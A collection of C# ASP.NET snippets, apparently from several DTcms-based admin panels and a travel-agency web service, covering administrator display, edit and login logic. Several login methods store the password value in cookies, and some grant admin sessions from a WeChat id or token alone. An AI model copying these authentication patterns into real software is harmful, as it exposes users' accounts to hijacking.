private void ShowInfo(int _id) { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); lblUserName.Text = model.user_name; }
/// <summary> /// 判断管理员是否已经登录(解决Session超时问题) /// </summary> public bool IsAdminLogin() { //如果Session为Null if (Session[DTKeys.SESSION_ADMIN_INFO] != null) { return true; } else { //检查Cookies string adminname = Utils.GetCookie("AdminName", "DTcms"); string adminpwd = Utils.GetCookie("AdminPwd", "DTcms"); if (adminname != "" && adminpwd != "") { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(adminname, adminpwd); if (model != null) { Session[DTKeys.SESSION_ADMIN_INFO] = model; return true; } } } return false; }
private void ShowInfo(int _id) { litpwdtip.Text = "不填则不修改密码"; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); ddlRoleId.SelectedValue = model.role_id.ToString(); if (model.is_lock == 0) { cbIsLock.Checked = true; } else { cbIsLock.Checked = false; } txtUserName.Text = model.user_name; txtUserName.ReadOnly = true; txtUserName.Attributes.Remove("ajaxurl"); txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; txtMaxNum.Text = model.wxNum.ToString(); ddlProvince.SelectedValue = model.province; ddlCity.SelectedValue = model.city; txtArea.Text = model.county; txtqq.Text = model.qq; txtEmail.Text = model.email; txtSortid.Text = MyCommFun.ObjToStr(model.sort_id); // model.sort_id; }
private bool DoEdit() { int _id = MyCommFun.Str2Int(lblid.Text); //地区 string prov = ddlProvince.SelectedItem.Value; string city = ddlCity.SelectedItem.Value; string dist = txtArea.Text.Trim(); bool result = false; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); model.qq = txtqq.Text; model.email = txtEmail.Text; model.province = prov; model.city = city; model.county = dist; if (bll.Update(model)) { AddAdminLog(MXEnums.ActionEnum.Edit.ToString(), "修改个人资料:" + model.user_name); //记录日志 result = true; } return result; }
private void ShowInfo(int _id) { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); txtUserName.Text = model.user_name; txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; }
protected void btnSubmit_Click(object sender, EventArgs e) { string userName = txtUserName.Text.Trim(); string userPwd = txtPassword.Text.Trim(); if (userName.Equals("") || userPwd.Equals("")) { msgtip.InnerHtml = "请输入用户名或密码"; return; } if (Session["AdminLoginSun"] == null) { Session["AdminLoginSun"] = 1; } else { Session["AdminLoginSun"] = Convert.ToInt32(Session["AdminLoginSun"]) + 1; } //判断登录错误次数 if (Session["AdminLoginSun"] != null && Convert.ToInt32(Session["AdminLoginSun"]) > 5) { msgtip.InnerHtml = "错误超过5次,关闭浏览器重新登录!"; return; } BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(userName, userPwd, true); if (model == null) { msgtip.InnerHtml = "用户名或密码有误,请重试!"; return; } // 保存当前的后台管理员 Session[MXKeys.SESSION_ADMIN_INFO] = model; Session.Timeout = 45; //写入登录日志 Model.siteconfig siteConfig = new BLL.siteconfig().loadConfig(); if (siteConfig.logstatus > 0) { new BLL.manager_log().Add(model.id, model.user_name, MXEnums.ActionEnum.Login.ToString(), "用户登录"); } //写入Cookies Utils.WriteCookie("DTRememberName", model.user_name, 14400); Utils.WriteCookie("AdminName", "MxWeiXinPF", model.user_name); Utils.WriteCookie("AdminPwd", "MxWeiXinPF", model.password); Response.Redirect("wxIndex.aspx"); return; }
private void ShowInfo(int _id) { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); ddlRoleId.SelectedValue = model.role_id.ToString(); rblIsLock.SelectedValue = model.is_lock.ToString(); txtUserName.Text = model.user_name; txtUserName.ReadOnly = true; if (!string.IsNullOrEmpty(model.user_pwd)) { txtUserPwd.Attributes["value"] = txtUserPwd1.Attributes["value"] = defaultpassword; } txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; }
/// <summary> /// 判断已经有的微信个数,若超过,则不能添加 /// </summary> /// <returns>超过为true,未超过为false</returns> private bool IsChaoGuoWxNum() { BLL.manager mBll = new BLL.manager(); Model.manager manager = mBll.GetModel(this.uid); int hasNum = bll.GetUserWxNumCount(this.uid); if (hasNum >= manager.wxNum) { JscriptMsg("该用户只能添加" + manager.wxNum + "个微信公众帐号,若想添加多个,请联系管理员!", "weixin_list.aspx?id=" + uid, "Error"); return(true); } else { return(false); } }
protected void btnSubmit_Click(object sender, EventArgs e) { string userName = txtUserName.Text.Trim(); string userPwd = txtPassword.Text.Trim(); if (userName.Equals("") || userPwd.Equals("")) { msgtip.InnerHtml = "请输入用户名或密码"; return; } if (Session["AdminLoginSun"] == null) { Session["AdminLoginSun"] = 1; } else { Session["AdminLoginSun"] = Convert.ToInt32(Session["AdminLoginSun"]) + 1; } //判断登录错误次数 if (Session["AdminLoginSun"] != null && Convert.ToInt32(Session["AdminLoginSun"]) > 5) { msgtip.InnerHtml = "错误超过5次,关闭浏览器重新登录!"; return; } BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(userName, userPwd, true); if (model == null) { msgtip.InnerHtml = "用户名或密码有误,请重试!"; return; } Session[DTKeys.SESSION_ADMIN_INFO] = model; Session.Timeout = 45; //写入登录日志 Model.sysconfig sysConfig = new BLL.sysconfig().loadConfig(); if (sysConfig.logstatus > 0) { new BLL.manager_log().Add(model.id, model.user_name, DTEnums.ActionEnum.Login.ToString(), "用户登录"); } //写入Cookies Utils.WriteCookie("DTRememberName", model.user_name, 14400); Utils.WriteCookie("AdminName", "DTcms", model.user_name); Utils.WriteCookie("AdminPwd", "DTcms", model.password); Response.Redirect("index.aspx"); return; }
private void ShowInfo(int _id) { lblid.Text = _id.ToString(); BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); lblUserName.Text = model.user_name; txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; txtqq.Text = model.qq; ddlProvince.SelectedValue = model.province; ddlCity.SelectedValue = model.city; txtArea.Text = model.county; }
protected void btnSubmit_Click(object sender, EventArgs e) { string userName = txtUserName.Text.Trim(); string userPwd = txtPassword.Text.Trim(); if (userName.Equals("") || userPwd.Equals("")) { msgtip.InnerHtml = "請輸入用戶名或密碼"; return; } if (Session["AdminLoginSun"] == null) { Session["AdminLoginSun"] = 1; } else { Session["AdminLoginSun"] = Convert.ToInt32(Session["AdminLoginSun"]) + 1; } //判斷登入錯誤次數 if (Session["AdminLoginSun"] != null && Convert.ToInt32(Session["AdminLoginSun"]) > 5) { msgtip.InnerHtml = "登入錯誤超過5次,關閉瀏覽器重新登入!"; return; } BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(userName, userPwd, true); if (model == null) { msgtip.InnerHtml = "用戶名或密碼有誤,請重再試!"; return; } Session[TWKeys.SESSION_ADMIN_INFO] = model; Session.Timeout = 45; //寫入登錄日誌 Model.siteconfig siteConfig = new BLL.siteconfig().loadConfig(); if (siteConfig.logstatus > 0) { new BLL.manager_log().Add(model.id, model.user_name, TWEnums.ActionEnum.Login.ToString(), "用戶登入"); } //寫入Cookies Utils.WriteCookie("DTRememberName", model.user_name, 14400); Utils.WriteCookie("AdminName", "Tea", model.user_name); Utils.WriteCookie("AdminPwd", "Tea", model.password); Response.Redirect("index.aspx"); return; }
private void ShowInfo(int _id) { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); ddlRoleId.SelectedValue = model.role_id.ToString(); rblIsLock.SelectedValue = model.is_lock.ToString(); txtUserName.Text = model.user_name; txtUserName.ReadOnly = true; if (!string.IsNullOrEmpty(model.user_pwd)) { txtUserPwd.Attributes["value"] = txtUserPwd1.Attributes["value"] = defaultpassword; } txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; ddlDept.SelectedValue = model.dept_id.ToString(); }
private void ShowInfo(int id) { litpwdtip.Text = "不填则不修改密码"; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(id); rblIsLock.SelectedValue = model.is_lock.ToString(); txtUserName.Text = model.user_name; txtUserName.ReadOnly = true; txtUserName.Attributes.Remove("ajaxurl"); txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; txtRemark.Text = model.remark; }
private void ShowInfo(int id) { litpwdtip.Text = "不填则不修改密码"; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(id); ddlRoleId.SelectedValue = model.role_id.ToString(); rblIsLock.SelectedValue = model.is_lock.ToString(); txtUserName.Text = model.user_name; txtUserName.ReadOnly = true; txtUserName.Attributes.Remove("ajaxurl"); txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; txtRemark.Text = model.remark; }
private void ShowInfo(int _id) { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); //ddlRoleId.SelectedValue = model.role_id.ToString(); lblUserName.Text = model.user_name; lblRealName.Text = model.real_name; //代理商信息 Model.wx_agent_info agentinfo = aBll.GetAgentModel(_id); lblYue.Text = agentinfo.remainMony.Value.ToString(); lbltxtsqJine.Text = agentinfo.sqJine.Value.ToString(); lblagentPrice.Text = agentinfo.agentPrice.Value.ToString(); lblagentLevel.Text = agentinfo.agentLevel; }
private bool DoEdit(int _id) { bool result = false; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; if (cbIsLock.Checked == true) { model.is_lock = 0; } else { model.is_lock = 1; } if (cbIsAudit.Checked == true) { model.is_audit = 1; } else { model.is_audit = 0; } //判断密码是否更改 if (txtPassword.Text.Trim() != defaultpassword) { //获取用户已生成的salt作为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); } model.avatar = txtAvatar.Text.Trim(); model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); if (bll.Update(model)) { AddAdminLog(DTEnums.ActionEnum.Edit.ToString(), "修改管理员:" + model.user_name); //记录日志 result = true; } return(result); }
private void LoginFromWeichatid() { string msg = string.Empty; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(weichatid); if (model == null) { Response.Redirect("login.aspx"); return; } Session[DTKeys.SESSION_ADMIN_INFO] = model; Session.Timeout = 45; Utils.WriteCookie("DTRememberName", model.user_name, 14400); Utils.WriteCookie("AdminName", "DTcms", model.user_name); Utils.WriteCookie("AdminPwd", "DTcms", model.password); Response.Redirect("index.aspx"); return; }
public JsonResult EasyLoginWx(string weichatid) { Model.BaseResponse res = new Model.BaseResponse(); BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(weichatid); if (model == null) { res.error = 1; res.data = "未绑定微信"; } else { model.password = string.Empty; Session[DTKeys.SESSION_ADMIN_INFO] = model; Session.Timeout = 240; res.data = model; } return(Json(res, JsonRequestBehavior.AllowGet)); }
protected void Page_Load(object sender, EventArgs e) { this.keywords = MXRequest.GetQueryString("keywords"); this.uid = MyCommFun.RequestInt("id", 0); if (this.uid == 0) { JscriptMsg("传输参数不正确!", "back", "Error"); return; } this.pageSize = GetPageSize(10); //每页数量 if (!Page.IsPostBack) { BLL.manager mBll = new BLL.manager(); Model.manager user = mBll.GetModel(uid); lblUserName.Text = "[" + user.user_name + " " + user.real_name + "]"; ChkAdminLevel("wcodemgr", MXEnums.ActionEnum.View.ToString()); //检查权限 RptBind(CombSqlTxt(keywords), "wStatus desc, createDate desc"); } }
private void ShowInfo(int _id) { litpwdtip.Text = "不填则不修改密码"; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); //ddlRoleId.SelectedValue = model.role_id.ToString(); if (model.is_lock == 0) { cbIsLock.Checked = true; } else { cbIsLock.Checked = false; } txtUserName.Text = model.user_name; txtUserName.ReadOnly = true; txtUserName.Attributes.Remove("ajaxurl"); txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; ddlProvince.SelectedValue = model.province; ddlCity.SelectedValue = model.city; txtArea.Text = model.county; txtqq.Text = model.qq; txtEmail.Text = model.email; txtSortid.Text = MyCommFun.ObjToStr(model.sort_id); // model.sort_id; txtRemark.Text = model.remark; //代理商信息 Model.wx_agent_info agentinfo = aBll.GetAgentModel(_id); txtagentPrice.Text = agentinfo.agentPrice.Value.ToString(); txtsqJine.Text = agentinfo.sqJine.Value.ToString(); txtcompanyName.Text = agentinfo.companyInfo; ddlagentType.SelectedValue = agentinfo.agentType.Value.ToString(); ddlagentLevel.SelectedValue = agentinfo.agentLevel; txtagentArea.Text = agentinfo.agentArea; txtindustry.Text = agentinfo.industry; }
void LoginFromWeichatid() { string msg = string.Empty; BLL.manager bll = new BLL.manager(); string token = request["token"]; Model.manager model = bll.GetModel(token); if (model == null) { res = JsonHelper2.GetCommonObj(1, "未绑定"); } else { context.Session[DTKeys.SESSION_ADMIN_INFO] = model; context.Session.Timeout = 45; Utils.WriteCookie("DTRememberName", model.user_name, 14400); Utils.WriteCookie("AdminName", "DTcms", model.user_name); Utils.WriteCookie("AdminPwd", "DTcms", model.password); res = JsonHelper2.GetCommonObj(0, model); } }
private void ShowInfo(int _id) { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); ddlRoleId.SelectedValue = model.role_id.ToString(); if (model.is_lock == 0) { cbIsLock.Checked = true; } else { cbIsLock.Checked = false; } txtUserName.Text = model.user_name; txtUserName.ReadOnly = true; txtUserName.Attributes.Remove("ajaxurl"); if (!string.IsNullOrEmpty(model.password)) { txtPassword.Attributes["value"] = txtPassword1.Attributes["value"] = defaultpassword; } txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; CheckBoxList cblControl = FindControl("field_control_category") as CheckBoxList; string[] valArr = model.categorys.Split(','); for (int i = 0; i < cblControl.Items.Count; i++) { cblControl.Items[i].Selected = false; //先取消默认的选中 foreach (string str in valArr) { if (cblControl.Items[i].Value == str) { cblControl.Items[i].Selected = true; } } } }
private void Login() { string msg = string.Empty; string username = string.Empty; string userpwd = string.Empty; BLL.manager bll = new BLL.manager(); Model.manager model = null; model = bll.GetModel(username, userpwd, true); if (model == null) { msg = "用户名或密码有误,请重试!"; return; } Session[DTKeys.SESSION_ADMIN_INFO] = model; Session.Timeout = 45; Utils.WriteCookie("DTRememberName", model.user_name, 14400); Utils.WriteCookie("AdminName", "DTcms", model.user_name); Utils.WriteCookie("AdminPwd", "DTcms", model.password); Response.Redirect("index.aspx"); return; }
private void ShowInfo(int _id) { TreeBind(); BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); ddlRoleId.SelectedValue = model.role_id.ToString(); if (model.is_lock == 0) { cbIsLock.Checked = true; } else { cbIsLock.Checked = false; } if (model.is_audit == 0) { cbIsAudit.Checked = false; } else { cbIsAudit.Checked = true; } txtUserName.Text = model.user_name; txtUserName.ReadOnly = true; txtUserName.Attributes.Remove("ajaxurl"); if (!string.IsNullOrEmpty(model.password)) { txtPassword.Attributes["value"] = txtPassword1.Attributes["value"] = defaultpassword; } txtAvatar.Text = model.avatar; txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; labdepartStr.Text = model.departTree; ddlParentId.SelectedValue = model.departID.ToString(); hIDTree.Value = model.departTreeID; txtDetailDepart.Text = model.detaildepart; }
/// <summary> /// 判断管理员是否已经登录(解决Session超时问题) /// </summary> public bool IsAdminLogin() { //如果Session为Null if (System.Web.HttpContext.Current.Session[DTKeys.SESSION_ADMIN_INFO] != null) { return(true); } else { //检查Cookies string adminname = Utils.GetCookie("AdminName", "DTcms"); string adminpwd = Utils.GetCookie("AdminPwd", "DTcms"); //cookies密码解密 try { //用户名加密 adminname = DESEncrypt.Decrypt(adminname, DTKeys.COOKIE_KEY); //密码绑定IP adminpwd = DESEncrypt.Decrypt(adminpwd, DTRequest.GetIP()); } catch { return(false); } if (adminname != "" && adminpwd != "") { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(adminname, adminpwd); if (model != null) { System.Web.HttpContext.Current.Session[DTKeys.SESSION_ADMIN_INFO] = model; return(true); } } } return(false); }
private void ShowInfo(int _id) { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); ddlRoleId.SelectedValue = model.role_id.ToString(); if (model.is_lock == 0) { cbIsLock.Checked = true; } else { cbIsLock.Checked = false; } txtUserName.Text = model.user_name; txtUserName.ReadOnly = true; txtUserName.Attributes.Remove("ajaxurl"); if (!string.IsNullOrEmpty(model.password)) { txtPassword.Attributes["value"] = txtPassword1.Attributes["value"] = defaultpassword; } txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; }
protected void Page_Load(object sender, EventArgs e) { uid = MyCommFun.RequestInt("uid", 0); //添加,则需要判断可以添加的微信号数量 if (uid == 0) { JscriptMsg("参数不正确!", "back", "Error"); return; } if (IsChaoGuoWxNum()) { JscriptMsg("该用户微账号的数量已满,无法添加!", "back", "Error"); return; } if (!Page.IsPostBack) { ChkAdminLevel("wcodemgr", MXEnums.ActionEnum.View.ToString()); //检查权限 txtEndData.Text = DateTime.Now.AddDays(7).ToString("yyyy-MM-dd"); BLL.manager mBll = new BLL.manager(); Model.manager user = mBll.GetModel(uid); lblUserName.Text = user.user_name + " " + user.real_name; } }
public void LoginNew(string username, string password, string version, string equType, string equName) { string json = string.Empty; #region 1.3.0后 //检查用户名密码 if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password)) { json = "{\"status\":\"false\",\"data\":\"温馨提示:请输入用户名或密码!\"}"; Context.Response.Write(json); Context.Response.End(); return; } try { //int roleId = 3; //0 旅行社 1领队 2导游 //在导游表中查找用户 //1领队 2导游 Model.users model = bll_user.GetModel(username, DESEncrypt.Encrypt(password));//手机号或唯一登录帐号皆可 if (model != null && model.id != 0) { if (model.is_lock == 0) //正常 { int isPush = 0; string sStr = string.Format("\"id\":{0},\"name\": \"{1}\",\"phoneNum\": \"{2}\",\"authCode\": \"{3}\",\"tourCard\": \"{4}\",\"identityCard\": \"{5}\",\"age\": {6},\"workAge\":{7},\"sex\":\"{8}\",\"workType\": {9},\"signature\": \"{10}\",\"headImage\": \"{11}\",\"nickName\": \"{12}\",\"zt\": {13}", model.id, model.nick_name, model.mobile, model.authcode, model.guid_card, model.card, model.age, model.work_age, model.sex, model.work_type, model.description, string.IsNullOrEmpty(model.avatar) ? "" : this.webUrl + model.avatar, model.user_name, model.is_lock); json = String.Format("{{\"status\":\"true\",\"roleId\":\"{0}\",\"isPush\":{1},{2}}}", model.work_type == 1 ? 1 : 2, isPush, sStr); } else if (model.is_lock == 1)//待验证 { json = "{\"status\":\"false\",\"data\":\"用户正在验证\"}"; } else if (model.is_lock == 2)//待审核 { json = "{\"status\":\"false\",\"data\":\"用户正在审核\"}"; } else if (model.is_lock == 3)//禁用 { json = "{\"status\":\"false\",\"data\":\"您的账号已被禁用,请联系管理员\"}"; } } else { //在旅行社表中查找用户 BLL.manager bll_manager = new BLL.manager(); //旅行社数据 Model.manager model_manager = bll_manager.GetModel(username, DESEncrypt.Encrypt(password)); if (model_manager != null && model_manager.id != 0) { if (model_manager.role_id == 3) //旅行社才可以登录 { if (model_manager.is_lock == 0) //正常 { int isPush = 0; string _type = ""; if (!string.IsNullOrEmpty(model_manager.phone)) { _type = model_manager.type == 0 ? "国际旅行社" : "国内旅行社"; } string sStr = string.Format("\"id\": \"{0}\",\"name\": \"{1}\",\"roleName\": \"{2}\",\"startDate\": \"{3}\",\"endDate\": \"{4}\",\"nickName\": \"{5}\",\"phoneNum\": \"{6}\",\"identityCard\": \"{7}\",\"telPhone\": \"{8}\",\"address\": \"{9}\",\"teamType\": \"{10}\",\"logoImg\": \"{11}\",\"description\": \"{12}\",\"yingyeImg\": \"{13}\"", model_manager.id, model_manager.user_name, new BLL.manager_role().GetTitle(model_manager.role_id), model_manager.start_date, model_manager.end_date, model_manager.real_name, model_manager.telephone, model_manager.card, model_manager.phone, model_manager.address, _type, string.IsNullOrEmpty(model_manager.img_url) ? "" : this.webUrl + model_manager.img_url, model_manager.description, string.IsNullOrEmpty(model_manager.license) ? "" : this.webUrl + model_manager.license); json = String.Format("{{\"status\":\"true\",\"roleId\":\"0\",\"isPush\":{0},{1}}}", isPush, sStr); } else if (model_manager.is_lock == 2)//待审核 { json = "{\"status\":\"false\",\"data\":\"用户正在审核\"}"; } else if (model_manager.is_lock == 3)//禁用 { json = "{\"status\":\"false\",\"data\":\"您的账号已被禁用,请联系管理员\"}"; } } else { //系统管理员不可以登录 json = "{\"status\":\"false\",\"data\":\"系统管理员不可登录此平台\"}"; } } else { //不存在 json = "{\"status\":\"false\",\"data\":\"用户名或密码错误\"}"; } } } catch (Exception ex) { json = "{\"status\":\"false\",\"data\":\"" + ex.Message + "\"}"; } #endregion WriteWebServiceLog(version, equType, equName, "LoginNew", ""); Context.Response.Write(json); Context.Response.End(); }
public void PublishGroup(string jsondata, string version, string equType, string equName) { string json_result = string.Empty; //解析jsondata if (string.IsNullOrEmpty(jsondata)) { json_result = "{\"status\":\"false\",\"data\":\"参数不能为空!\"}"; Context.Response.Write(json_result); HttpContext.Current.ApplicationInstance.CompleteRequest(); return; } try { JavaScriptSerializer serializer = new JavaScriptSerializer(); Dictionary<string, object> json = (Dictionary<string, object>)serializer.DeserializeObject(jsondata); Model.tourgroup model = new Model.tourgroup(); BLL.tourgroup bll = new BLL.tourgroup(); int manager_id = 0; int.TryParse(json["groupteamid"].ToString(), out manager_id); //验证旅行社的有效性 BLL.manager bll_manager = new BLL.manager(); Model.manager managerModel = bll_manager.GetModel(manager_id); if (managerModel == null || managerModel.is_lock != 0 || DateTime.Parse(managerModel.end_date) < DateTime.Now) { json_result = "{\"status\":\"false\",\"data\":\"此旅行社现不能发团,请联系管理员!\"}"; Context.Response.Write(json_result); HttpContext.Current.ApplicationInstance.CompleteRequest(); return; } model.manager_id = manager_id; model.channel_id = (int)DTEnums.ChannelEnum.lvtuan; model.title = json["title"].ToString(); model.category_id = int.Parse(json["category"].ToString()); model.content = ""; model.book_require = json["bookrequire"].ToString(); #region 类别处理 //处理类别,根据名称与标识转为类别ID int languagetype = 0; int accounttype = 0; int linecity = 0; int property = 0; int restauranttype = 0; int tickettype = 0; int fromplaceid = 0; int toplaceid = 0; //将省级名称转为ID if (json.ContainsKey("fromplace") && !string.IsNullOrEmpty(json["fromplace"].ToString())) { fromplaceid = bll_city.GetParentIdByName(json["fromplace"].ToString(), 1); if (fromplaceid == 0) { json_result = "{\"status\":\"false\",\"data\":\"客源地不存在,请重新选择!\"}"; Context.Response.Write(json_result); HttpContext.Current.ApplicationInstance.CompleteRequest(); return; } } if (json.ContainsKey("toplace") && !string.IsNullOrEmpty(json["toplace"].ToString())) { toplaceid = bll_city.GetParentIdByName(json["toplace"].ToString(), 1); if (toplaceid == 0) { json_result = "{\"status\":\"false\",\"data\":\"目的地不存在,请重新选择!\"}"; Context.Response.Write(json_result); HttpContext.Current.ApplicationInstance.CompleteRequest(); return; } } if (json.ContainsKey("languagetype") && !string.IsNullOrEmpty(json["languagetype"].ToString())) { languagetype = bll_category.GetCategoryIdByName(json["languagetype"].ToString(), DTEnums.CategoryEnum.language.ToString()); if (languagetype == 0) { json_result = "{\"status\":\"false\",\"data\":\"语种类型不存在,请重新选择!\"}"; Context.Response.Write(json_result); HttpContext.Current.ApplicationInstance.CompleteRequest(); return; } } if (json.ContainsKey("accounttype") && !string.IsNullOrEmpty(json["accounttype"].ToString())) { accounttype = bll_category.GetCategoryIdByName(json["accounttype"].ToString(), DTEnums.CategoryEnum.period.ToString()); if (accounttype == 0) { json_result = "{\"status\":\"false\",\"data\":\"账单周期不存在,请重新选择!\"}"; Context.Response.Write(json_result); HttpContext.Current.ApplicationInstance.CompleteRequest(); return; } } if (json.ContainsKey("linecity") && !string.IsNullOrEmpty(json["linecity"].ToString())) { linecity = bll_category.GetCategoryIdByName(json["linecity"].ToString(), DTEnums.CategoryEnum.world.ToString()); if (linecity == 0) { json_result = "{\"status\":\"false\",\"data\":\"国际线路不存在,请重新选择!\"}"; Context.Response.Write(json_result); HttpContext.Current.ApplicationInstance.CompleteRequest(); return; } } if (json.ContainsKey("property") && !string.IsNullOrEmpty(json["property"].ToString())) { property = bll_category.GetCategoryIdByName(json["property"].ToString(), DTEnums.CategoryEnum.groupteam.ToString()); if (property == 0) { json_result = "{\"status\":\"false\",\"data\":\"团属类型不存在,请重新选择!\"}"; Context.Response.Write(json_result); HttpContext.Current.ApplicationInstance.CompleteRequest(); return; } } if (json.ContainsKey("restauranttype") && !string.IsNullOrEmpty(json["restauranttype"].ToString())) { restauranttype = bll_category.GetCategoryIdByName(json["restauranttype"].ToString(), DTEnums.CategoryEnum.pay.ToString()); if (restauranttype == 0) { json_result = "{\"status\":\"false\",\"data\":\"餐厅支付类型不存在,请重新选择!\"}"; Context.Response.Write(json_result); HttpContext.Current.ApplicationInstance.CompleteRequest(); return; } } if (json.ContainsKey("tickettype") && !string.IsNullOrEmpty(json["tickettype"].ToString())) { tickettype = bll_category.GetCategoryIdByName(json["tickettype"].ToString(), DTEnums.CategoryEnum.pay.ToString()); if (tickettype == 0) { json_result = "{\"status\":\"false\",\"data\":\"门票支付类型不存在,请重新选择!\"}"; Context.Response.Write(json_result); HttpContext.Current.ApplicationInstance.CompleteRequest(); return; } } #endregion model.fromplace_id = fromplaceid; model.toplace_id = toplaceid; model.account_type = accounttype; model.language_type = languagetype; model.linecity_id = linecity; model.group_property = property; model.restaurant_type = restauranttype; model.ticket_type = tickettype; model.sex = int.Parse(json["sex"].ToString()); model.is_stay = string.IsNullOrEmpty(json["isstay"].ToString()) ? 0 : int.Parse(json["isstay"].ToString()); model.is_red = 0; model.is_slide = 0; model.is_top = 0; model.people_count = int.Parse(json["peoplecount"].ToString()); model.total_count = int.Parse(json["totalcount"].ToString()); model.service_price = decimal.Parse(json["serviceprice"].ToString()); model.status = 1; //0申请 1正常 2过期 model.sort_id = 99; model.start_date = json["startdate"].ToString(); model.end_date = json["enddate"].ToString(); model.add_time = DateTime.Now; model.remark1 = ""; model.remark2 = 0; model.albums = null; if (bll.Add(model) < 1) { json_result = "{\"status\":\"false\",\"data\":\"发布失败!\"}"; } else { json_result = "{\"status\":\"true\",\"data\":\"发布成功!\"}"; } } catch (Exception ex) { json_result = "{\"status\":\"false\",\"data\":\"" + ex.Message + "\"}"; } WriteWebServiceLog(version, equType, equName, "PublishGroup", ""); Context.Response.Write(json_result); Context.Response.End(); }
protected void btnSubmit_Click(object sender, EventArgs e) { string userName = txtUserName.Text.Trim(); string userPwd = txtUserPwd.Text.Trim(); string code = txtCode.Text.Trim(); if (userName.Equals("") || userPwd.Equals("")) { lblTip.Visible = true; lblTip.Text = "请输入用户名或密码"; return; } if (code.Equals("")) { lblTip.Visible = true; lblTip.Text = "请输入验证码"; return; } if (Session[DTKeys.SESSION_CODE] == null) { lblTip.Visible = true; lblTip.Text = "系统找不到验证码"; return; } if (code.ToLower() != Session[DTKeys.SESSION_CODE].ToString().ToLower()) { lblTip.Visible = true; lblTip.Text = "验证码输入不正确"; return; } BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(userName, DESEncrypt.Encrypt(userPwd)); if (model == null) { lblTip.Visible = true; lblTip.Text = "用户名或密码有误"; return; } Session[DTKeys.SESSION_ADMIN_INFO] = model; Session.Timeout = 45; //写入登录日志 Model.siteconfig siteConfig = new BLL.siteconfig().loadConfig(Utils.GetXmlMapPath(DTKeys.FILE_SITE_XML_CONFING)); if (siteConfig.logstatus > 0) { Model.manager_log modelLog = new Model.manager_log(); modelLog.user_id = model.id; modelLog.user_name = model.user_name; modelLog.action_type = "login"; modelLog.note = "用户登录"; modelLog.login_ip = DTRequest.GetIP(); modelLog.login_time = DateTime.Now; new BLL.manager_log().Add(modelLog); } //写入Cookies if (cbRememberId.Checked) { Utils.WriteCookie("DTRememberName", model.user_name, 14400); } else { Utils.WriteCookie("DTRememberName", model.user_name, -14400); } Utils.WriteCookie("AdminName", "DTcms", model.user_name); Utils.WriteCookie("AdminPwd", "DTcms", model.user_pwd); Response.Redirect("index.aspx"); return; }
private void ShowInfo(int _id) { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); ddlRoleId.SelectedValue = model.role_id.ToString(); if (model.is_lock == 0) { cbIsLock.Checked = true; } else { cbIsLock.Checked = false; } txtUserName.Text = model.user_name; txtUserName.ReadOnly = true; txtUserName.Attributes.Remove("ajaxurl"); if (!string.IsNullOrEmpty(model.password)) { txtPassword.Attributes["value"] = txtPassword1.Attributes["value"] = defaultpassword; } txtRealName.Text = model.real_name; txtTelephone.Text = model.telephone; txtEmail.Text = model.email; provinces.Value = model.str_code; provinces1.Value = model.str_code; city.Value = model.str_code_rage; city1.Value = model.str_code_rage; if (model.role_id == 3)//酒厂 { this.Brand.Style.Add("display", "block"); ddlBrandId.Attributes.Add("datatype", "*"); ddlBrandId.Attributes.Add("errormsg", "请选择店铺"); ddlBrandId.Attributes.Add("sucmsg", " "); this.ddlBrandId.SelectedValue = model.brand_id.ToString(); } else if (model.role_id == 4)//经销商 { //this.Code.Style.Add("display", "block"); txtStrCode.Text = model.str_code; //this.CodeRage.Style.Add("display", "block"); txtCodeRage.Text = model.str_code_rage; //this.Winery.Style.Add("display", "block"); //ddlWineryId.Attributes.Add("datatype", "*"); //ddlWineryId.Attributes.Add("errormsg", "请选择酒厂"); //ddlWineryId.Attributes.Add("sucmsg", " "); //ddlWineryId.SelectedValue = model.winery_id.ToString(); } else if (model.role_id 